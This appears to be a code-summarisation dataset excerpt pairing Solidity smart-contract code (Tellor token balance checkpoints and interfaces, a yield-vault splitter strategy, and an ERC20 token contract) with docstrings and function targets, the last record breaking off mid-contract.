function balanceOf(address _user) public view returns (uint256) {
return balanceOfAt(_user, block.number);
}
/**
* @dev Queries the balance of _user at a specific _blockNumber
* @param _user The address from which the balance will be retrieved
* @param _blockNumber The block number when the balance is queried
* @return uint256 The balance at _blockNumber specified
*/
function balanceOfAt(address _user, uint256 _blockNumber)
public
view
returns (uint256)
{
TellorStorage.Checkpoint[] storage checkpoints = balances[_user];
if (
checkpoints.length == 0 || checkpoints[0].fromBlock > _blockNumber
) {
return 0;
} else {
if (_blockNumber >= checkpoints[checkpoints.length - 1].fromBlock)
return checkpoints[checkpoints.length - 1].value;
// Binary search of the value in the array
uint256 _min = 0;
uint256 _max = checkpoints.length - 2;
while (_max > _min) {
uint256 _mid = (_max + _min + 1) / 2;
if (checkpoints[_mid].fromBlock == _blockNumber) {
return checkpoints[_mid].value;
} else if (checkpoints[_mid].fromBlock < _blockNumber) {
_min = _mid;
} else {
_max = _mid - 1;
}
}
return checkpoints[_min].value;
}
}
/**
* @dev Burns an amount of tokens
* @param _amount is the amount of tokens to burn
*/
function burn(uint256 _amount) external {
_doBurn(msg.sender, _amount);
}
/**
* @dev Allows for a transfer of tokens to _to
* @param _to The address to send tokens to
* @param _amount The amount of tokens to send
* @return success whether the transfer was successful
*/
function transfer(address _to, uint256 _amount)
external
returns (bool success)
{
_doTransfer(msg.sender, _to, _amount);
return true;
}
/**
* @notice Send _amount tokens to _to from _from on the condition it
* is approved by _from
* @param _from The address holding the tokens being transferred
* @param _to The address of the recipient
* @param _amount The amount of tokens to be transferred
* @return success whether the transfer was successful
*/
function transferFrom(
address _from,
address _to,
uint256 _amount
) external returns (bool success) {
require(
_allowances[_from][msg.sender] >= _amount,
"Allowance is wrong"
);
_allowances[_from][msg.sender] -= _amount;
_doTransfer(_from, _to, _amount);
return true;
}
// Internal
/**
* @dev Helps burn TRB Tokens
* @param _from is the address to burn or remove TRB amount
* @param _amount is the amount of TRB to burn
*/
function _doBurn(address _from, uint256 _amount) internal {
// Ensure that amount of balance are valid
if (_amount == 0) return;
require(
allowedToTrade(_from, _amount),
"Should have sufficient balance to trade"
);
uint128 _previousBalance = uint128(balanceOf(_from));
uint128 _sizedAmount = uint128(_amount);
// Update total supply and balance of _from
_updateBalanceAtNow(_from, _previousBalance - _sizedAmount);
uints[_TOTAL_SUPPLY] -= _amount;
}
/**
* @dev Helps mint new TRB
* @param _to is the address to send minted amount to
* @param _amount is the amount of TRB to send
*/
function _doMint(address _to, uint256 _amount) internal {
// Ensure to address and mint amount are valid
require(_amount != 0, "Tried to mint non-positive amount");
require(_to != address(0), "Receiver is 0 address");
uint128 _previousBalance = uint128(balanceOf(_to));
uint128 _sizedAmount = uint128(_amount);
// Update total supply and balance of _to address
uints[_TOTAL_SUPPLY] += _amount;
_updateBalanceAtNow(_to, _previousBalance + _sizedAmount);
emit Transfer(address(0), _to, _amount);
}
/**
* @dev Completes transfers by updating the balances on the current block number
* and ensuring the amount does not contain tokens staked for reporting
* @param _from address to transfer from
* @param _to address to transfer to
* @param _amount to transfer
*/
function _doTransfer(
address _from,
address _to,
uint256 _amount
) internal {
// Ensure user has a correct balance and to address
require(_amount != 0, "Tried to send non-positive amount");
require(_to != address(0), "Receiver is 0 address");
require(
allowedToTrade(_from, _amount),
"Should have sufficient balance to trade"
);
// Update balance of _from address
uint128 _previousBalance = uint128(balanceOf(_from));
uint128 _sizedAmount = uint128(_amount);
_updateBalanceAtNow(_from, _previousBalance - _sizedAmount);
// Update balance of _to address
_previousBalance = uint128(balanceOf(_to));
_updateBalanceAtNow(_to, _previousBalance + _sizedAmount);
emit Transfer(_from, _to, _amount);
}
/**
* @dev Updates balance checkpoint for from and to on the current block number via doTransfer
* @param _user is the address whose balance is updated
* @param _value is the new balance
*/
function _updateBalanceAtNow(address _user, uint128 _value) internal {
Checkpoint[] storage checkpoints = balances[_user];
// Checks if no checkpoints exist, or if checkpoint block is not current block
if (
checkpoints.length == 0 ||
checkpoints[checkpoints.length - 1].fromBlock != block.number
) {
// If yes, push a new checkpoint into the array
checkpoints.push(
TellorStorage.Checkpoint({
fromBlock: uint128(block.number),
value: _value
})
);
} else {
// Else, update old checkpoint
TellorStorage.Checkpoint storage oldCheckPoint = checkpoints[
checkpoints.length - 1
];
oldCheckPoint.value = _value;
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
interface IGovernance{
enum VoteResult {FAILED,PASSED,INVALID}
function setApprovedFunction(bytes4 _func, bool _val) external;
function beginDispute(bytes32 _queryId,uint256 _timestamp) external;
function delegate(address _delegate) external;
function delegateOfAt(address _user, uint256 _blockNumber) external view returns (address);
function executeVote(uint256 _disputeId) external;
function proposeVote(address _contract,bytes4 _function, bytes calldata _data, uint256 _timestamp) external;
function tallyVotes(uint256 _disputeId) external;
function updateMinDisputeFee() external;
function verify() external pure returns(uint);
function vote(uint256 _disputeId, bool _supports, bool _invalidQuery) external;
function voteFor(address[] calldata _addys,uint256 _disputeId, bool _supports, bool _invalidQuery) external;
function getDelegateInfo(address _holder) external view returns(address,uint);
function isApprovedGovernanceContract(address _contract) external view returns(bool);
function isFunctionApproved(bytes4 _func) external view returns(bool);
function getVoteCount() external view returns(uint256);
function getVoteRounds(bytes32 _hash) external view returns(uint256[] memory);
function getVoteInfo(uint256 _disputeId) external view returns(bytes32,uint256[8] memory,bool[2] memory,VoteResult,bytes memory,bytes4,address[2] memory);
function getDisputeInfo(uint256 _disputeId) external view returns(uint256,uint256,bytes memory, address);
function getOpenDisputesOnId(uint256 _queryId) external view returns(uint256);
function didVote(uint256 _disputeId, address _voter) external view returns(bool);
//testing
function testMin(uint256 a, uint256 b) external pure returns (uint256);
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.4;
/**
@author Tellor Inc.
@title TellorStorage
@dev Contains all the variables/structs used by Tellor
*/
contract TellorStorage {
//Internal struct for use in proof-of-work submission
struct Details {
uint256 value;
address miner;
}
struct Dispute {
bytes32 hash; //unique hash of dispute: keccak256(_miner,_requestId,_timestamp)
int256 tally; //current tally of votes for - against measure
bool executed; //is the dispute settled
bool disputeVotePassed; //did the vote pass?
bool isPropFork; //true for fork proposal NEW
address reportedMiner; //miner who submitted the 'bad value' will get disputeFee if dispute vote fails
address reportingParty; //miner reporting the 'bad value'-pay disputeFee will get reportedMiner's stake if dispute vote passes
address proposedForkAddress; //new fork address (if fork proposal)
mapping(bytes32 => uint256) disputeUintVars;
mapping(address => bool) voted; //mapping of address to whether or not they voted
}
struct StakeInfo {
uint256 currentStatus; //0-not Staked, 1=Staked, 2=LockedForWithdraw 3= OnDispute 4=ReadyForUnlocking 5=Unlocked
uint256 startDate; //stake start date
}
//Internal struct to allow balances to be queried by blocknumber for voting purposes
struct Checkpoint {
uint128 fromBlock; // fromBlock is the block number that the value was generated from
uint128 value; // value is the amount of tokens at a specific block number
}
struct Request {
uint256[] requestTimestamps; //array of all newValueTimestamps requested
mapping(bytes32 => uint256) apiUintVars;
mapping(uint256 => uint256) minedBlockNum; //[apiId][minedTimestamp]=>block.number
//This the time series of finalValues stored by the contract where uint UNIX timestamp is mapped to value
mapping(uint256 => uint256) finalValues;
mapping(uint256 => bool) inDispute; //checks if API id is in dispute or finalized.
mapping(uint256 => address[5]) minersByValue;
mapping(uint256 => uint256[5]) valuesByTimestamp;
}
uint256[51] requestQ; //uint50 array of the top50 requests by payment amount
uint256[] public newValueTimestamps; //array of all timestamps requested
//This is a boolean that tells you if a given challenge has been completed by a given miner
mapping(uint256 => uint256) requestIdByTimestamp; //minedTimestamp to apiId
mapping(uint256 => uint256) requestIdByRequestQIndex; //link from payoutPoolIndex (position in payout pool array) to apiId
mapping(uint256 => Dispute) public disputesById; //disputeId=> Dispute details
mapping(bytes32 => uint256) public requestIdByQueryHash; // api bytes32 gets an id = to count of requests array
mapping(bytes32 => uint256) public disputeIdByDisputeHash; //maps a hash to an ID for each dispute
mapping(bytes32 => mapping(address => bool)) public minersByChallenge;
Details[5] public currentMiners; //This struct is for organizing the five mined values to find the median
mapping(address => StakeInfo) stakerDetails; //mapping from a persons address to their staking info
mapping(uint256 => Request) requestDetails;
mapping(bytes32 => uint256) public uints;
mapping(bytes32 => address) public addresses;
mapping(bytes32 => bytes32) public bytesVars;
//ERC20 storage
mapping(address => Checkpoint[]) public balances;
mapping(address => mapping(address => uint256)) public _allowances;
//Migration storage
mapping(address => bool) public migrated;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
import "./tellor3/TellorVariables.sol";
/**
@author Tellor Inc.
@title TellorVariables
@dev Helper contract to store hashes of variables.
* For each of the bytes32 constants, the values are equal to
* keccak256([VARIABLE NAME])
*/
contract TellorVars is TellorVariables {
// Storage
address constant TELLOR_ADDRESS =
0x88dF592F8eb5D7Bd38bFeF7dEb0fBc02cf3778a0; // Address of main Tellor Contract
// Hashes for each pertinent contract
bytes32 constant _GOVERNANCE_CONTRACT =
0xefa19baa864049f50491093580c5433e97e8d5e41f8db1a61108b4fa44cacd93;
bytes32 constant _ORACLE_CONTRACT =
0xfa522e460446113e8fd353d7fa015625a68bc0369712213a42e006346440891e;
bytes32 constant _TREASURY_CONTRACT =
0x1436a1a60dca0ebb2be98547e57992a0fa082eb479e7576303cbd384e934f1fa;
bytes32 constant _SWITCH_TIME =
0x6c0e91a96227393eb6e42b88e9a99f7c5ebd588098b549c949baf27ac9509d8f;
bytes32 constant _MINIMUM_DISPUTE_FEE =
0x7335d16d7e7f6cb9f532376441907fe76aa2ea267285c82892601f4755ed15f0;
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.7.4;
/**
@author Tellor Inc.
@title TellorVariables
@dev Helper contract to store hashes of variables
*/
contract TellorVariables {
bytes32 constant _BLOCK_NUMBER =
0x4b4cefd5ced7569ef0d091282b4bca9c52a034c56471a6061afd1bf307a2de7c; //keccak256("_BLOCK_NUMBER");
bytes32 constant _CURRENT_CHALLENGE =
0xd54702836c9d21d0727ffacc3e39f57c92b5ae0f50177e593bfb5ec66e3de280; //keccak256("_CURRENT_CHALLENGE");
bytes32 constant _CURRENT_REQUESTID =
0xf5126bb0ac211fbeeac2c0e89d4c02ac8cadb2da1cfb27b53c6c1f4587b48020; //keccak256("_CURRENT_REQUESTID");
bytes32 constant _CURRENT_REWARD =
0xd415862fd27fb74541e0f6f725b0c0d5b5fa1f22367d9b78ec6f61d97d05d5f8; //keccak256("_CURRENT_REWARD");
bytes32 constant _CURRENT_TOTAL_TIPS =
0x09659d32f99e50ac728058418d38174fe83a137c455ff1847e6fb8e15f78f77a; //keccak256("_CURRENT_TOTAL_TIPS");
bytes32 constant _DEITY =
0x5fc094d10c65bc33cc842217b2eccca0191ff24148319da094e540a559898961; //keccak256("_DEITY");
bytes32 constant _DIFFICULTY =
0xf758978fc1647996a3d9992f611883adc442931dc49488312360acc90601759b; //keccak256("_DIFFICULTY");
bytes32 constant _DISPUTE_COUNT =
0x310199159a20c50879ffb440b45802138b5b162ec9426720e9dd3ee8bbcdb9d7; //keccak256("_DISPUTE_COUNT");
bytes32 constant _DISPUTE_FEE =
0x675d2171f68d6f5545d54fb9b1fb61a0e6897e6188ca1cd664e7c9530d91ecfc; //keccak256("_DISPUTE_FEE");
bytes32 constant _DISPUTE_ROUNDS =
0x6ab2b18aafe78fd59c6a4092015bddd9fcacb8170f72b299074f74d76a91a923; //keccak256("_DISPUTE_ROUNDS");
bytes32 constant _EXTENSION =
0x2b2a1c876f73e67ebc4f1b08d10d54d62d62216382e0f4fd16c29155818207a4; //keccak256("_EXTENSION");
bytes32 constant _FEE =
0x1da95f11543c9b03927178e07951795dfc95c7501a9d1cf00e13414ca33bc409; //keccak256("_FEE");
bytes32 constant _FORK_EXECUTED =
0xda571dfc0b95cdc4a3835f5982cfdf36f73258bee7cb8eb797b4af8b17329875; //keccak256("_FORK_EXECUTED");
bytes32 constant _LOCK =
0xd051321aa26ce60d202f153d0c0e67687e975532ab88ce92d84f18e39895d907;
bytes32 constant _MIGRATOR =
0xc6b005d45c4c789dfe9e2895b51df4336782c5ff6bd59a5c5c9513955aa06307; //keccak256("_MIGRATOR");
bytes32 constant _MIN_EXECUTION_DATE =
0x46f7d53798d31923f6952572c6a19ad2d1a8238d26649c2f3493a6d69e425d28; //keccak256("_MIN_EXECUTION_DATE");
bytes32 constant _MINER_SLOT =
0x6de96ee4d33a0617f40a846309c8759048857f51b9d59a12d3c3786d4778883d; //keccak256("_MINER_SLOT");
bytes32 constant _NUM_OF_VOTES =
0x1da378694063870452ce03b189f48e04c1aa026348e74e6c86e10738514ad2c4; //keccak256("_NUM_OF_VOTES");
bytes32 constant _OLD_TELLOR =
0x56e0987db9eaec01ed9e0af003a0fd5c062371f9d23722eb4a3ebc74f16ea371; //keccak256("_OLD_TELLOR");
bytes32 constant _ORIGINAL_ID =
0xed92b4c1e0a9e559a31171d487ecbec963526662038ecfa3a71160bd62fb8733; //keccak256("_ORIGINAL_ID");
bytes32 constant _OWNER =
0x7a39905194de50bde334d18b76bbb36dddd11641d4d50b470cb837cf3bae5def; //keccak256("_OWNER");
bytes32 constant _PAID =
0x29169706298d2b6df50a532e958b56426de1465348b93650fca42d456eaec5fc; //keccak256("_PAID");
bytes32 constant _PENDING_OWNER =
0x7ec081f029b8ac7e2321f6ae8c6a6a517fda8fcbf63cabd63dfffaeaafa56cc0; //keccak256("_PENDING_OWNER");
bytes32 constant _REQUEST_COUNT =
0x3f8b5616fa9e7f2ce4a868fde15c58b92e77bc1acd6769bf1567629a3dc4c865; //keccak256("_REQUEST_COUNT");
bytes32 constant _REQUEST_ID =
0x9f47a2659c3d32b749ae717d975e7962959890862423c4318cf86e4ec220291f; //keccak256("_REQUEST_ID");
bytes32 constant _REQUEST_Q_POSITION =
0xf68d680ab3160f1aa5d9c3a1383c49e3e60bf3c0c031245cbb036f5ce99afaa1; //keccak256("_REQUEST_Q_POSITION");
bytes32 constant _SLOT_PROGRESS =
0xdfbec46864bc123768f0d134913175d9577a55bb71b9b2595fda21e21f36b082; //keccak256("_SLOT_PROGRESS");
bytes32 constant _STAKE_AMOUNT =
0x5d9fadfc729fd027e395e5157ef1b53ef9fa4a8f053043c5f159307543e7cc97; //keccak256("_STAKE_AMOUNT");
bytes32 constant _STAKE_COUNT =
0x10c168823622203e4057b65015ff4d95b4c650b308918e8c92dc32ab5a0a034b; //keccak256("_STAKE_COUNT");
bytes32 constant _T_BLOCK =
0xf3b93531fa65b3a18680d9ea49df06d96fbd883c4889dc7db866f8b131602dfb; //keccak256("_T_BLOCK");
bytes32 constant _TALLY_DATE =
0xf9e1ae10923bfc79f52e309baf8c7699edb821f91ef5b5bd07be29545917b3a6; //keccak256("_TALLY_DATE");
bytes32 constant _TARGET_MINERS =
0x0b8561044b4253c8df1d9ad9f9ce2e0f78e4bd42b2ed8dd2e909e85f750f3bc1; //keccak256("_TARGET_MINERS");
bytes32 constant _TELLOR_CONTRACT =
0x0f1293c916694ac6af4daa2f866f0448d0c2ce8847074a7896d397c961914a08; //keccak256("_TELLOR_CONTRACT");
bytes32 constant _TELLOR_GETTERS =
0xabd9bea65759494fe86471c8386762f989e1f2e778949e94efa4a9d1c4b3545a; //keccak256("_TELLOR_GETTERS");
bytes32 constant _TIME_OF_LAST_NEW_VALUE =
0x2c8b528fbaf48aaf13162a5a0519a7ad5a612da8ff8783465c17e076660a59f1; //keccak256("_TIME_OF_LAST_NEW_VALUE");
bytes32 constant _TIME_TARGET =
0xd4f87b8d0f3d3b7e665df74631f6100b2695daa0e30e40eeac02172e15a999e1; //keccak256("_TIME_TARGET");
bytes32 constant _TIMESTAMP =
0x2f9328a9c75282bec25bb04befad06926366736e0030c985108445fa728335e5; //keccak256("_TIMESTAMP");
bytes32 constant _TOTAL_SUPPLY =
0xe6148e7230ca038d456350e69a91b66968b222bfac9ebfbea6ff0a1fb7380160; //keccak256("_TOTAL_SUPPLY");
bytes32 constant _TOTAL_TIP =
0x1590276b7f31dd8e2a06f9a92867333eeb3eddbc91e73b9833e3e55d8e34f77d; //keccak256("_TOTAL_TIP");
bytes32 constant _VALUE =
0x9147231ab14efb72c38117f68521ddef8de64f092c18c69dbfb602ffc4de7f47; //keccak256("_VALUE");
bytes32 constant _EIP_SLOT =
0x7050c9e0f4ca769c69bd3a8ef740bc37934f8e2c036e5a723fd8ee048ed3f8c3;
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.3;
interface IOracle{
function getReportTimestampByIndex(bytes32 _queryId, uint256 _index) external view returns(uint256);
function getValueByTimestamp(bytes32 _queryId, uint256 _timestamp) external view returns(bytes memory);
function getBlockNumberByTimestamp(bytes32 _queryId, uint256 _timestamp) external view returns(uint256);
function getReporterByTimestamp(bytes32 _queryId, uint256 _timestamp) external view returns(address);
function getReporterLastTimestamp(address _reporter) external view returns(uint256);
function reportingLock() external view returns(uint256);
function removeValue(bytes32 _queryId, uint256 _timestamp) external;
function getReportsSubmittedByAddress(address _reporter) external view returns(uint256);
function getTipsByUser(address _user) external view returns(uint256);
function tipQuery(bytes32 _queryId, uint256 _tip, bytes memory _queryData) external;
function submitValue(bytes32 _queryId, bytes calldata _value, uint256 _nonce, bytes memory _queryData) external;
function burnTips() external;
function verify() external pure returns(uint);
function changeReportingLock(uint256 _newReportingLock) external;
function changeTimeBasedReward(uint256 _newTimeBasedReward) external;
function getTipsById(bytes32 _queryId) external view returns(uint256);
function getTimestampCountById(bytes32 _queryId) external view returns(uint256);
function getTimestampIndexByTimestamp(bytes32 _queryId, uint256 _timestamp) external view returns(uint256);
function getCurrentValue(bytes32 _queryId) external view returns(bytes memory);
function getTimeOfLastNewValue() external view returns(uint256);
}
|
Allows for a transfer of tokens to _to _to The address to send tokens to _amount The amount of tokens to send return success whether the transfer was successful/
|
function transfer(address _to, uint256 _amount)
external
returns (bool success)
{
_doTransfer(msg.sender, _to, _amount);
return true;
}
| 1,509,955 |
pragma solidity 0.5.16;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/math/Math.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "../hardworkInterface/IStrategy.sol";
import "../Controllable.sol";
import "../hardworkInterface/IMigrator.sol";
import "../hardworkInterface/IVault.sol";
contract SplitterStrategy is IStrategy, Controllable {
using SafeERC20 for IERC20;
using Address for address;
using SafeMath for uint256;
IERC20 public underlying;
address public vault;
mapping(address => bool) public unsalvagableTokens;
mapping(address => bool) public isStrategyWhitelisted;
address[] public whitelistedStrategies;
address[] public activeStrategies;
uint256[] public caps;
uint256[] public investmentRatioNumerators;
address[] public withdrawalOrder;
address public futureStrategy;
uint256 public strategyWhitelistTime;
uint256 public investmentRatioDenominator = 10000;
uint256 public whitelistStrategyTimeLock = 12 hours;
bool public isInitialized = false;
event StrategyWhitelisted(
address strategy
);
event StrategyWhitelistAnnounced(
address strategy,
uint256 when
);
event StrategyUnwhitelisted(
address strategy
);
modifier restricted() {
require(msg.sender == vault || msg.sender == address(controller()) || msg.sender == address(governance()),
"The sender has to be the controller or vault or governance");
_;
}
constructor(address _storage) public Controllable(_storage) { }
function initSplitter(
address _underlying,
address _vault,
address[] memory _strategies,
uint256[] memory _investmentRatioNumerators,
uint256[] memory _caps,
address[] memory _withdrawalOrder
) public onlyGovernance {
require(!isInitialized, "splitter is already initialized");
isInitialized = true;
require(_underlying != address(0), "_underlying cannot be empty");
require(_vault != address(0), "_vault cannot be empty");
require(IVault(_vault).underlying() == _underlying, "underlying must match");
unsalvagableTokens[_underlying] = true;
underlying = IERC20(_underlying);
vault = _vault;
for (uint256 i = 0; i < _strategies.length; i++) {
whitelistedStrategies.push(_strategies[i]);
isStrategyWhitelisted[_strategies[i]] = true;
}
_configureStrategies(_strategies, _investmentRatioNumerators, _caps, _withdrawalOrder);
}
/*
* Instant configuration of the active strategies, caps, investment ratios,
* and withdrawal orders
*/
function configureStrategies(
address[] memory _activeStrategies,
uint256[] memory _investmentRatioNumerators,
uint256[] memory _caps,
address[] memory _withdrawalOrder
) public onlyGovernance {
_configureStrategies(
_activeStrategies,
_investmentRatioNumerators,
_caps,
_withdrawalOrder
);
}
function _configureStrategies(
address[] memory _activeStrategies,
uint256[] memory _investmentRatioNumerators,
uint256[] memory _caps,
address[] memory _withdrawalOrder
) internal {
require(_activeStrategies.length == _investmentRatioNumerators.length, "investment ratios length invalid");
require(_activeStrategies.length == _caps.length, "caps length invalid");
require(whitelistedStrategies.length == _withdrawalOrder.length, "withdrawalOrder length invalid");
activeStrategies.length = 0;
investmentRatioNumerators.length = 0;
caps.length = 0;
for (uint256 i = 0; i < _activeStrategies.length; i++) {
require(isStrategyWhitelisted[_activeStrategies[i]], "strategy not whitelisted");
activeStrategies.push(_activeStrategies[i]);
investmentRatioNumerators.push(_investmentRatioNumerators[i]);
caps.push(_caps[i]);
}
withdrawalOrder.length = 0;
for (uint256 i = 0; i < _withdrawalOrder.length; i++) {
require(isStrategyWhitelisted[_withdrawalOrder[i]], "withdrawal strategy not whitelisted");
withdrawalOrder.push(_withdrawalOrder[i]);
}
}
function depositArbCheck() public view returns(bool) {
for (uint256 i = 0; i < activeStrategies.length; i++) {
if (!IStrategy(activeStrategies[i]).depositArbCheck()) {
return false;
}
}
return true;
}
/*
* Returns the total amount.
* Iterates over all whitelisted strateges, not just active
*/
function investedUnderlyingBalance() public view returns (uint256) {
uint256 result = 0;
for (uint256 i = 0; i < whitelistedStrategies.length; i++) {
result = result.add(IStrategy(whitelistedStrategies[i]).investedUnderlyingBalance());
}
return result.add(IERC20(underlying).balanceOf(address(this)));
}
/*
* Invests all tokens that were accumulated so far
*/
function investAllUnderlying() internal {
uint256 splitterInitialBalance = IERC20(underlying).balanceOf(address(this));
for (uint256 i = 0; i < activeStrategies.length; i++) {
uint256 computedRatio = splitterInitialBalance.mul(investmentRatioNumerators[i]).div(investmentRatioDenominator);
uint256 toInvest = Math.min(computedRatio, IERC20(underlying).balanceOf(address(this)));
if (toInvest > 0) {
if (caps[i] > 0) { // there is a cap
uint256 strategyBalance = IStrategy(activeStrategies[i]).investedUnderlyingBalance();
if (strategyBalance < caps[i]) {
uint256 maxRemaining = caps[i] - strategyBalance;
IERC20(underlying).safeTransfer(activeStrategies[i], Math.min(maxRemaining, toInvest));
}
} else { // no cap
IERC20(underlying).safeTransfer(activeStrategies[i], toInvest);
}
}
}
// the rest of the funds would stay in the strategy
}
/**
* Withdraws everything from a specific strategy
*/
function withdrawFromStrategy(address strategy, uint256 amount) external restricted {
require(isStrategyWhitelisted[strategy], "strategy not whitelisted");
IStrategy(strategy).withdrawToVault(amount);
}
/**
* Invests into a specific strategy
*/
function investIntoStrategy(address strategy, uint256 amount) external restricted {
require(isStrategyWhitelisted[strategy], "strategy not whitelisted");
IERC20(underlying).safeTransfer(strategy, amount);
}
/**
* Withdraws everything from all the vaults
*/
function withdrawAllToVault() external restricted {
for (uint256 i = 0; i < withdrawalOrder.length; i++) {
if (IStrategy(withdrawalOrder[i]).investedUnderlyingBalance() > 0) {
IStrategy(withdrawalOrder[i]).withdrawAllToVault();
}
}
uint256 actualBalance = IERC20(underlying).balanceOf(address(this));
if (actualBalance > 0) {
IERC20(underlying).safeTransfer(vault, actualBalance);
}
}
/*
* Cashes some amount out and withdraws to the vault
*/
function withdrawToVault(uint256 amount) external restricted {
require(amount > 0, "amount must be greater than 0");
for (uint256 i = 0; i < withdrawalOrder.length; i++) {
uint256 splitterBalance = IERC20(underlying).balanceOf(address(this));
if (splitterBalance >= amount) {
break;
}
uint256 strategyBalance = IStrategy(withdrawalOrder[i]).investedUnderlyingBalance();
if (strategyBalance > 0) {
IStrategy(withdrawalOrder[i]).withdrawToVault(
Math.min(amount.sub(splitterBalance), strategyBalance)
);
}
}
// we intend to fail if we don't have enough balance
require(IERC20(underlying).balanceOf(address(this)) >= amount, "splitter does not have sufficient balance");
IERC20(underlying).safeTransfer(vault, amount);
// investing back the rest if anything left
investAllUnderlying();
}
/**
* Calls doHardWork on all strategies
*/
function doHardWork() public restricted {
investAllUnderlying();
for (uint256 i = 0; i < activeStrategies.length; i++) {
IStrategy(activeStrategies[i]).doHardWork();
}
}
/**
* Calls doHardWork on a specific strategy
*/
function doHardWork(address _strategy) public restricted {
IStrategy(_strategy).doHardWork();
}
function _setStrategyWhitelistTime(uint256 _strategyWhitelistTime) internal {
strategyWhitelistTime = _strategyWhitelistTime;
}
function _setFutureStrategy(address _futureStrategy) internal {
futureStrategy = _futureStrategy;
}
function whitelistedStrategyCount() public view returns (uint256) {
return whitelistedStrategies.length;
}
function canWhitelistStrategy(address _strategy) public view returns (bool) {
return (_strategy == futureStrategy
&& block.timestamp > strategyWhitelistTime
&& strategyWhitelistTime > 0); // or the timelock has passed
}
/**
* Indicates that a strategy would be added to the splitter
*/
function announceStrategyWhitelist(address _strategy) public onlyGovernance {
require(_strategy != address(0), "_strategy cannot be 0x0");
require(IStrategy(_strategy).underlying() == address(underlying), "Underlying of splitter must match Strategy underlying");
require(IStrategy(_strategy).vault() == address(this), "The strategy does not belong to this splitter");
// records a new timestamp
uint256 when = block.timestamp.add(whitelistStrategyTimeLock);
_setStrategyWhitelistTime(when);
_setFutureStrategy(_strategy);
emit StrategyWhitelistAnnounced(_strategy, when);
}
/**
* Finalizes (or cancels) the strategy update by resetting the data
*/
function finalizeStrategyWhitelist() public onlyGovernance {
_setStrategyWhitelistTime(0);
_setFutureStrategy(address(0));
}
/**
* Removes a given strategy from the whitelist
* It is only allowed in case its underlying balance is 0
*/
function unwhitelistStrategy(address _strategy) public onlyGovernance {
require(_strategy != address(0), "_strategy cannot be 0x0");
require(isStrategyWhitelisted[_strategy], "_strategy is not whitelisted");
IStrategy strategy = IStrategy(_strategy);
require(strategy.investedUnderlyingBalance() == 0, "can only unwhitelist an empty strategy");
emit StrategyUnwhitelisted(_strategy);
isStrategyWhitelisted[_strategy] = false;
for (uint256 i = 0; i < whitelistedStrategies.length; i++) {
if (whitelistedStrategies[i] == _strategy) {
if (i < whitelistedStrategies.length - 1) {
whitelistedStrategies[i] = whitelistedStrategies[whitelistedStrategies.length - 1];
}
whitelistedStrategies.length--;
return;
}
}
}
/**
* Adds a given strategy into the whitelist
* Possible only after the timelock expired
*/
function whitelistStrategy(address _strategy) public onlyGovernance {
require(canWhitelistStrategy(_strategy),
"The strategy exists and switch timelock did not elapse yet");
require(_strategy != address(0), "_strategy cannot be 0x0");
require(IStrategy(_strategy).underlying() == address(underlying), "Underlying of splitter must match Strategy underlying");
require(IStrategy(_strategy).vault() == address(this), "The strategy does not belong to this splitter");
whitelistedStrategies.push(_strategy);
isStrategyWhitelisted[_strategy] = true;
emit StrategyWhitelisted(_strategy);
IERC20(underlying).safeApprove(_strategy, 0);
IERC20(underlying).safeApprove(_strategy, uint256(~0));
finalizeStrategyWhitelist();
}
// should only be called by controller
function salvage(address destination, address token, uint256 amount) external restricted {
require(!unsalvagableTokens[token], "token is defined as not salvageable");
IERC20(token).safeTransfer(destination, amount);
}
}
|
Adds a given strategy into the whitelist Possible only after the timelock expired/
|
function whitelistStrategy(address _strategy) public onlyGovernance {
require(canWhitelistStrategy(_strategy),
"The strategy exists and switch timelock did not elapse yet");
require(_strategy != address(0), "_strategy cannot be 0x0");
require(IStrategy(_strategy).underlying() == address(underlying), "Underlying of splitter must match Strategy underlying");
require(IStrategy(_strategy).vault() == address(this), "The strategy does not belong to this splitter");
whitelistedStrategies.push(_strategy);
isStrategyWhitelisted[_strategy] = true;
emit StrategyWhitelisted(_strategy);
IERC20(underlying).safeApprove(_strategy, 0);
IERC20(underlying).safeApprove(_strategy, uint256(~0));
finalizeStrategyWhitelist();
}
| 5,399,014 |
/**
* The OGXNext "Orgura Exchange" token contract bases on the ERC20 standard token contracts
* OGX Coin ICO. (Orgura group)
* authors: Roongrote Suranart
* */
pragma solidity ^0.4.20;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
require(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) public balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
